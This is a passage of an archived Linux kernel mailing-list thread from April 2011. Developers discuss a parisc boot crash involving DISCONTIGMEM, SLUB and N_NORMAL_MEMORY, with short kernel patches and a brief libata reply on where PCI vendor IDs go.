> > > have bits set in N_NORMAL_MEMORY.
> > > 
> > > diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> > > --- a/arch/parisc/mm/init.c
> > > +++ b/arch/parisc/mm/init.c
> > > @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
> > >  	}
> > >  	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
> > >  
> > > -	for (i = 0; i < npmem_ranges; i++)
> > > +	for (i = 0; i < npmem_ranges; i++) {
> > > +		node_set_state(i, N_NORMAL_MEMORY);
> > >  		node_set_online(i);
> > > +	}
> > >  #endif
> > 
> > Yes, this seems to be the missing piece that gets it to boot.  We really
> > need this in generic code, unless someone wants to run through all the
> > other arch's doing it ...
> > 
> 
> Looking at all other architectures that allow ARCH_DISCONTIGMEM_ENABLE, we 
> already know x86 is fine, avr32 disables ARCH_DISCONTIGMEM_ENABLE entirely 
> because its code only brings online node 0, and tile already sets the bit 
> in N_NORMAL_MEMORY correctly when bringing a node online, probably because 
> it was introduced after the various node state masks were added in 
> 7ea1530ab3fd back in October 2007.
> 
> So we're really only talking about alpha, ia64, m32r, m68k, and mips and 
> it only seems to matter when using CONFIG_SLUB, which isn't surprising 
> when greping for it:
> 
> 	$ grep -r N_NORMAL_MEMORY mm/*
> 	mm/memcontrol.c:	if (!node_state(node, N_NORMAL_MEMORY))
> 	mm/memcontrol.c:		if (!node_state(node, N_NORMAL_MEMORY))
> 	mm/page_alloc.c:	[N_NORMAL_MEMORY] = { { [0] = 1UL } },
> 	mm/page_alloc.c:			node_set_state(zone_to_nid(zone), N_NORMAL_MEMORY);
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:		for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:		for_each_node_state(node, N_NORMAL_MEMORY) {
> 	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY)
> 
> Those memory controller occurrences only result in it passing a node id of 
> -1 to kmalloc_node() which means no specific node target, and that's fine 
> for DISCONTIGMEM since we don't care about any proximity between memory 
> ranges.
> 
> This should fix the remaining architectures so they can use CONFIG_SLUB, 
> but I hope it can be tested by the individual arch maintainers like you 
> did for parisc.

ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
N_NORMAL_MEMORY automatically if my understand is correct.
(plz see free_area_init_nodes)

I guess alpha and m32r have no active developrs. only m68k seems to be need
fix and we have a chance to get a review... 



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 15:32:48 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20110421133248.GD31724@htj.dyndns.org>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
 <1303267733.11237.42.camel@mulgrave.site>
 <20110420115804.461E.A69D9226@jp.fujitsu.com>
 <alpine.DEB.2.00.1104200847240.8634@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303392832 22997 80.91.229.12 (21 Apr 2011 13:33:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 13:33:52 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 15:33:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCu0v-0005Bg-MQ
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 15:33:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752198Ab1DUNdo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 09:33:44 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:51420 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751434Ab1DUNdn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 09:33:43 -0400
Original-Received: by fxm17 with SMTP id 17so943009fxm.19
        for <multiple recipients>; Thu, 21 Apr 2011 06:33:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=i21yhOa19yBN3dgvEjDIYp2B/UvRBzwU74LZu6ygSpw=;
        b=SVqdOXCC6+fSWRyVPIr+7N5uVjxeZq3LjlxA226J6GF5qS963NW0W1yhEFWIjwbRAt
         49/wsIp0PZ8F62LHTCH4RtRdLxk1Cf4+prObxRD7gRWl88U6Amz+YMkVtxeLUNBbH4dr
         OHqwVPASvB1LRdXtqGg1ktV/BgjV6gj/phDqI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=h6djcXR645nsKTMFNMYXTS0qbGCkv/aLIQVvEmkhgyXs2DgkJF+9LTCJgOlCqe4Q/L
         9z5TmN60tyIO/evyMF2ELHR0eKAFuBEECYsg4vWx18m6qAdYISo2lCdGUm+2jYEAmbbs
         HshmL9M2l+dDXLueF4N7nL8ue+OPlQQ8cFxlk=
Original-Received: by 10.223.7.8 with SMTP id b8mr1469230fab.19.1303392774430;
        Thu, 21 Apr 2011 06:32:54 -0700 (PDT)
Original-Received: from htj.dyndns.org ([130.75.117.88])
        by mx.google.com with ESMTPS id x16sm600906fal.43.2011.04.21.06.32.50
        (version=SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 06:32:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.00.1104200847240.8634@router.home>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3636 gmane.linux.kernel.mm:61787 gmane.linux.kernel:1129525
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3636>

Hey,

On Wed, Apr 20, 2011 at 08:50:15AM -0500, Christoph Lameter wrote:
> Tejon was working on getting rid of DISCONTIG. SPARSEMEM is the favored
> alternative today. So we could potentially change the arches to use SPARSE
> configs in the !NUMA case.

Well, the thing is that sparsemem w/ vmemmap is definitely better than
discontigmem on x86-64; however, on x86-32, vmemmap can't be used due
to address space shortage and there are some minor disadvantages to
sparsemem compared to discontigmem.

IIRC, the biggest was losing a bit of granuality in memsections and
possibly wasting slightly more memory on the page array.  Both didn't
seem critical to me but given that the actual amount of code needed
for discontigmem in arch code was fairly small (although the amount of
added complexity for auditing/testing can be much higher) I didn't
feel sure about dropping discontigmem and thus the patchset to drop
discontigmem was posted as RFC, to which nobody commented.

  http://thread.gmane.org/gmane.linux.kernel/1121321

What do you guys think?

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jeff@garzik.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Thu, 21 Apr 2011 10:24:09 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <4DB03E09.7030100@garzik.org>
References: <1303152147.7167.12.camel@mulgrave.site> <20110418205203.56bbdb14@lxorguk.ukuu.org.uk> <1303159802.7167.30.camel@mulgrave.site> <20110418222017.4e77fe05@lxorguk.ukuu.org.uk> <4DADF798.6010705@ru.mvista.com> <20110419221900.67528a07@lxorguk.ukuu.org.uk> <4DADFD2E.9070809@ru.mvista.com> <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk> <1303254709.11237.34.camel@mulgrave.site> <4DAEAF9A.1020704@ru.mvista.com> <20110420145616.GB31296@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303395866 9738 80.91.229.12 (21 Apr 2011 14:24:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 14:24:26 +0000 (UTC)
Cc: Sergei Shtylyov <sshtylyov@mvista.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 16:24:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCunq-0000Ix-2J
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 16:24:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753462Ab1DUOYP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 10:24:15 -0400
Original-Received: from mail-yi0-f46.google.com ([209.85.218.46]:64915 "EHLO
	mail-yi0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753814Ab1DUOYO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 10:24:14 -0400
Original-Received: by yia27 with SMTP id 27so481993yia.19
        for <multiple recipients>; Thu, 21 Apr 2011 07:24:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:sender:message-id:date:from:user-agent
         :mime-version:to:cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=g2JQojAGL0yPTu6ffpVTnLelNUgeTs2RJWDCmiNm/t4=;
        b=i1k6DBIdRnZpK4S5wJW/yOKeB/Z0vnn49m1fq4xYDXP3KcD7Mh0jUcjTMqjtaNCPJ3
         j2QANyuLs3/AW2vAZNhFoG8BH2LWsq84EpYkjQLkQBRGgMjKcIEuoeKar9yLEvauXJlw
         fBxUhBJwm9zpzF6NqPl2/TaX9x0WZj4xw1fdc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=GCXppVYd5RfXhSqalZLJpPvZcMMR7Xx2SS3o/tK1gs82VOEKhgmot1vYvXRcBz5LVG
         jF4XkTBH2r5loThmMfDHpJY5mE5GYoOYrUuBaAvvVkaH1o+mxcRXLTyPgl5DspKUgw0i
         EYtKpvgkT1WF3GiLF8jpHuqun2N/thvBxvpZc=
Original-Received: by 10.236.181.1 with SMTP id k1mr49270yhm.20.1303395852832;
        Thu, 21 Apr 2011 07:24:12 -0700 (PDT)
Original-Received: from bd.yyz.us (99-173-148-118.lightspeed.rlghnc.sbcglobal.net [99.173.148.118])
        by mx.google.com with ESMTPS id 29sm860132yhl.34.2011.04.21.07.24.10
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 07:24:10 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110307 Fedora/3.1.9-0.39.b3pre.fc14 Thunderbird/3.1.9
In-Reply-To: <20110420145616.GB31296@parisc-linux.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3637 gmane.linux.ide:49368
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3637>

On 04/20/2011 10:56 AM, Matthew Wilcox wrote:
> On Wed, Apr 20, 2011 at 02:04:10PM +0400, Sergei Shtylyov wrote:
>>> +#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
>>> +
>>
>>     The current trend seems to be to only define vendor/device IDs where
>> they are used and not in pci_ids.h...
>
> Device IDs, yes.  Vendor IDs should always go to the pci_ids.h file, since
> they're likely to be used in multiple places.

Correct; that's the current libata policy.

	Jeff



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 11:06:36 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <1303401997.4025.8.camel@mulgrave.site>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	 <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	 <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420112020.GA31296@parisc-linux.org>
	 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
	 <1303308938.2587.8.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104200943580.9266@router.home>
	 <1303311779.2587.19.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201018360.9266@router.home>
	 <alpine.DEB.2.00.1104201437180.31768@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303402012 16432 80.91.229.12 (21 Apr 2011 16:06:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 16:06:52 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, linux-arch@vger.kernel.org,
	Mel Gorman <mel@csn.ul.ie>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Apr 21 18:06:45 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QCwOz-0008Cw-3u
	for glka-linux-arch@lo.gmane.org; Thu, 21 Apr 2011 18:06:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753979Ab1DUQGn (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 21 Apr 2011 12:06:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54333 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753964Ab1DUQGm (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 21 Apr 2011 12:06:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 68C608EE0F5;
	Thu, 21 Apr 2011 09:06:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DgHTZ+ZgIgcN; Thu, 21 Apr 2011 09:06:41 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F2ABE8EE01D;
	Thu, 21 Apr 2011 09:06:39 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104201437180.31768@chino.kir.corp.google.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9638 gmane.linux.kernel.mm:61795 gmane.linux.kernel:1129595 gmane.linux.ports.parisc:3638
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9638>

On Wed, 2011-04-20 at 14:42 -0700, David Rientjes wrote:
> On Wed, 20 Apr 2011, Christoph Lameter wrote:
> 
> > There is barely any testing going on at all of this since we have had this
> > issue for more than 5 years and have not noticed it. The absence of bug
> > reports therefore proves nothing. Code inspection of the VM shows
> > that this is an issue that arises in multiple subsystems and that we have
> > VM_BUG_ONs in the page allocator that should trigger for these situations.
> > 
> > Usage of DISCONTIGMEM and !NUMA is not safe and should be flagged as such.
> > 
> 
> We don't actually have any bug reports in front of us that show anything 
> else in the VM other than slub has issues with this configuration, so 
> marking them as broken is probably premature.  The parisc config that 
> triggered this debugging enables CONFIG_SLAB by default, so it probably 
> has gone unnoticed just because nobody other than James has actually tried 
> it on hppa64.
> 
> Let's see if KOSAKI-san's fixes to Kconfig (even though I'd prefer the 
> simpler and implicit "config NUMA def_bool ARCH_DISCONTIGMEM_ENABLE" over 
> his config NUMA) and my fix to parisc to set the bit in N_NORMAL_MEMORY 
> so that CONFIG_SLUB initializes kmem_cache_node correctly works and then 
> address issues in the core VM as they arise.  Presumably someone has been 
> running DISCONTIGMEM on hppa64 in the past five years without issues with 
> defconfig, so the issue here may just be slub.

Actually, we can fix slub.  As far as all my memory hammer tests go, the
one liner below is the actual fix (it just forces slub get_node() to
return the zero node always on !NUMA).  That, as far as a code
inspection goes, seems to make SLUB as good as SLAB ... as long as
no-one uses hugepages or VM DEBUG, which, I think we've demonstrated, is
the case for all the current DISCONTIGMEM users.

I think either the above or just marking slub broken in DISCONTIGMEM & !
NUMA is sufficient for stable.  The fix is getting urgent, because
debian (which is what most of our users are running) has made SLUB the
default allocator, which is why we're now starting to run into these
panic reports.

The set memory range fix looks good for a backport too ... at least the
page cache is now no-longer reluctant to use my upper 1GB ...

I worry a bit more about backporting the selection of NUMA as a -stable
fix because it's a larger change (and requires changes to all the
architectures, since NUMA is an arch local Kconfig variable)

James

----

diff --git a/mm/slub.c b/mm/slub.c
index 94d2a33..243bd9c 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@ -235,7 +235,11 @@ int slab_is_available(void)
 
 static inline struct kmem_cache_node *get_node(struct kmem_cache *s, int node)
 {
+#ifdef CONFIG_NUMA
 	return s->node[node];
+#else
+	return s->node[0];
+#endif
 }
 
 /* Verify that a pointer has an address that is valid within a slab page */



From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 11:37:27 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1303403847.4025.11.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303403858 28238 80.91.229.12 (21 Apr 2011 16:37:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 16:37:38 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 18:37:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCwsl-0008R1-Ly
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 18:37:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754915Ab1DUQha (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 12:37:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36125 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754912Ab1DUQha (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 12:37:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CCB438EE0F5;
	Thu, 21 Apr 2011 09:37:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AWRDJXWNBlNV; Thu, 21 Apr 2011 09:37:29 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A29018EE01D;
	Thu, 21 Apr 2011 09:37:28 -0700 (PDT)
In-Reply-To: <20110421221712.9184.A69D9226@jp.fujitsu.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3639 gmane.linux.kernel.mm:61798 gmane.linux.kernel:1129610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3639>

On Thu, 2011-04-21 at 22:16 +0900, KOSAKI Motohiro wrote:
> > This should fix the remaining architectures so they can use CONFIG_SLUB, 
> > but I hope it can be tested by the individual arch maintainers like you 
> > did for parisc.
> 
> ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
> N_NORMAL_MEMORY automatically if my understand is correct.
> (plz see free_area_init_nodes)
> 
> I guess alpha and m32r have no active developrs. only m68k seems to be need
> fix and we have a chance to get a review... 

Actually, it's not quite a fix yet, I'm afraid.  I've just been
investigating why my main 4 way box got slower with kernel builds:
Apparently userspace processes are now all stuck on CPU0, so we're
obviously tripping over some NUMA scheduling stuff that's missing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 13:33:38 -0500 (CDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211328000.5741@router.home>
References: <1303337718.2587.51.camel@mulgrave.site>  <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>  <20110421221712.9184.A69D9226@jp.fujitsu.com> <1303403847.4025.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303410843 5704 80.91.229.12 (21 Apr 2011 18:34:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 18:34:03 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
  David Rientjes <rientjes@google.com>, Pekka Enberg <penberg@kernel.org>,
  Michal Hocko <mhocko@suse.cz>, Andrew Morton <akpm@linux-foundation.org>,
  Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
  LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
  Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
  Tejun Heo <tj@kernel.org>, Dave Hansen <dave@linux.vnet.ibm.com>,
  Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Thu Apr 21 20:33:55 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCyhO-0002Q8-FK
	for glkm-linux-mm-2@m.gmane.org; Thu, 21 Apr 2011 20:33:54 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id AB22B8D003B; Thu, 21 Apr 2011 14:33:52 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 79DA58D0040; Thu, 21 Apr 2011 14:33:51 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B800B8D003B; Thu, 21 Apr 2011 14:33:51 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail144.messagelabs.com (mail144.messagelabs.com [216.82.254.51])
	by kanga.kvack.org (Postfix) with SMTP id 103A18D0040
	for <linux-mm@kvack.org>; Thu, 21 Apr 2011 14:33:49 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-3.tower-144.messagelabs.com!1303410818!77157454!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.47]
X-SpamReason: No, hits=0.0 required=7.0 tests=ML_RADAR_SPEW_LINKS_8,
  UNPARSEABLE_RELAY,spamassassin: ,surbl: 
  c3VyYmxfcmVjaGVja19kZWxheTogNjA1MzE2MCAodGltZW91dCk=\n
Original-Received: (qmail 10788 invoked from network); 21 Apr 2011 18:33:39 -0000
